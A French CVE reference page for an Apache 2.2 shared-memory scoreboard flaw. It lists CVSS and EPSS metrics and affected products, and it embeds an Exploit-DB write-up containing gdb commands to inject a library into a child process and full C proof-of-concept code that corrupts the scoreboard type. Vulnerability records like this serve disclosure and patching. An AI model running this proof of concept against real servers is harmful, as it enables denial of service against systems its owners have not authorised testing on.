Faiblesses connexes
CWE-ID |
Nom de la faiblesse |
Source |
CWE Other |
No informations. |
|
Métriques
Métriques |
Score |
Gravité |
CVSS Vecteur |
Source |
V2 |
4.6 |
|
AV:L/AC:L/Au:N/C:P/I:P/A:P |
[email protected] |
EPSS
EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.
Score EPSS
Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.
Percentile EPSS
Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.
Informations sur l'Exploit
Exploit Database EDB-ID : 41768
Date de publication : 2012-01-10 23h00 +00:00
Auteur : halfdog
EDB Vérifié : No
Source: http://www.halfdog.net/Security/2011/ApacheScoreboardInvalidFreeOnShutdown/
## Introduction
Apache 2.2 webservers may use a shared memory segment to share child process status information (scoreboard) between the child processes and the parent process running as root. A child running with lower privileges than the parent process might trigger an invalid free in the privileged parent process during parent shutdown by modifying data on the shared memory segment.
## Method
A child process can trigger the bug by changing the value of ap_scoreboard_e sb_type, which resides in the global_score structure on the shared memory segment. The value is usually 2 (SB_SHARED):
typedef struct {
int server_limit;
int thread_limit;
ap_scoreboard_e sb_type;
ap_generation_t running_generation; /* the generation of children which
* should still be serving requests.
*/
apr_time_t restart_time;
int lb_limit;
} global_score;
When changing the scoreboard type of a shared memory segment to something else, the root process will try to release the shared memory using free during normal shutdown. Since the memory was allocated using mmap, not malloc, the call to free from ap_cleanup_scoreboard (server/scoreboard.c) triggers abort within libc.
apr_status_t ap_cleanup_scoreboard(void *d)
{
if (ap_scoreboard_image == NULL) {
return APR_SUCCESS;
}
if (ap_scoreboard_image->global->sb_type == SB_SHARED) {
ap_cleanup_shared_mem(NULL);
}
else {
free(ap_scoreboard_image->global);
free(ap_scoreboard_image);
ap_scoreboard_image = NULL;
}
return APR_SUCCESS;
}
Abort output is written to apache default error log:
[Fri Dec 30 10:19:57 2011] [notice] caught SIGTERM, shutting down
*** glibc detected *** /usr/sbin/apache2: free(): invalid pointer: 0xb76f4008 ***
======= Backtrace: =========
/lib/i386-linux-gnu/libc.so.6(+0x6ebc2)[0x17ebc2]
/lib/i386-linux-gnu/libc.so.6(+0x6f862)[0x17f862]
/lib/i386-linux-gnu/libc.so.6(cfree+0x6d)[0x18294d]
/usr/sbin/apache2(ap_cleanup_scoreboard+0x29)[0xa57519]
/usr/lib/libapr-1.so.0(+0x19846)[0x545846]
/usr/lib/libapr-1.so.0(apr_pool_destroy+0x52)[0x5449ec]
/usr/sbin/apache2(+0x1f063)[0xa52063]
/usr/sbin/apache2(main+0xeea)[0xa51e3a]
/lib/i386-linux-gnu/libc.so.6(__libc_start_main+0xf3)[0x129113]
/usr/sbin/apache2(+0x1ef3d)[0xa51f3d]
======= Memory map: ========
00110000-00286000 r-xp 00000000 08:01 132367
To reproduce, attach to a www-data (non-root) child process and increment the value at offset 0x10 in the shared memory segment. The search and replace can also be accomplished by compiling LibScoreboardTest.c (http://www.halfdog.net/Security/2011/ApacheScoreboardInvalidFreeOnShutdown/LibScoreboardTest.c) and loading it into a child process using gdb --pid [childpid] and following commands:
set *(int*)($esp+4)="/var/www/libExploit.so"
set *(int*)($esp+8)=1
set $eip=*__libc_dlopen_mode
continue
Without gdb, the mod_setenv exploit demo (2nd attempt) (http://www.halfdog.net/Security/2011/ApacheModSetEnvIfIntegerOverflow/DemoExploit.html) could be used to load the code.
--- LibScoreboardTest.c ---
/** gcc -Wall -c LibScoreboardTest.c
* ld -shared -Bdynamic LibScoreboardTest.o -L/lib -lc -o LibScoreboardTest.so
*/
#include <fcntl.h>
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
extern void _init() {
int fd=-1, pos;
char mmapData[1<<16];
int mmapDataLen;
char str[1024];
char* sharedSegStart=NULL;
char* sharedSegEnd=NULL;
int sharedSegLen;
int result;
fd=open("/proc/self/maps", O_RDONLY);
mmapDataLen=0;
while((result=read(fd, mmapData+mmapDataLen, sizeof(mmapData)-mmapDataLen))>0) mmapDataLen+=result;
close(fd);
fd=open("/tmp/testlog", O_RDWR|O_CREAT, 0777);
result=sprintf(str, "Read %d\n", mmapDataLen);
write(fd, str, result);
write(fd, mmapData, mmapDataLen);
for(pos=0; pos<mmapDataLen;) {
result=sscanf(mmapData+pos, "%8x-%8x rw-s %8x ",
(int*)&sharedSegStart, (int*)&sharedSegEnd, &result);
if(result==3) break;
while((pos<mmapDataLen)&&(mmapData[pos]!='\n')) pos++;
if(pos==mmapDataLen) break;
pos++;
}
result=sprintf(str, "Shared seg data 0x%x-0x%x\n", (int)sharedSegStart,
(int)sharedSegEnd);
write(fd, str, result);
if(pos==mmapDataLen) return;
// Set ap_scoreboard_e sb_type=3
*(int*)(sharedSegStart+0x10)=3;
exit(0);
}
--- EOF --
Products Mentioned
Configuraton 0
Apache>>Http_server >> Version From (including) 2.0.0 To (excluding) 2.0.65
Apache>>Http_server >> Version From (including) 2.2.0 To (excluding) 2.2.22
Configuraton 0
Debian>>Debian_linux >> Version 5.0
Debian>>Debian_linux >> Version 6.0
Debian>>Debian_linux >> Version 7.0
Configuraton 0
Opensuse>>Opensuse >> Version 11.4
Suse>>Linux_enterprise_server >> Version 10
Suse>>Linux_enterprise_software_development_kit >> Version 10
Configuraton 0
Redhat>>Jboss_enterprise_web_server >> Version 1.0.0
Redhat>>Enterprise_linux >> Version 5.0
Redhat>>Enterprise_linux >> Version 6.0
Configuraton 0
Redhat>>Storage >> Version 2.0
Redhat>>Enterprise_linux_desktop >> Version 6.0
Redhat>>Enterprise_linux_eus >> Version 6.2
Redhat>>Enterprise_linux_server >> Version 6.0
Redhat>>Enterprise_linux_server_aus >> Version 6.2
Redhat>>Enterprise_linux_workstation >> Version 6.0
Références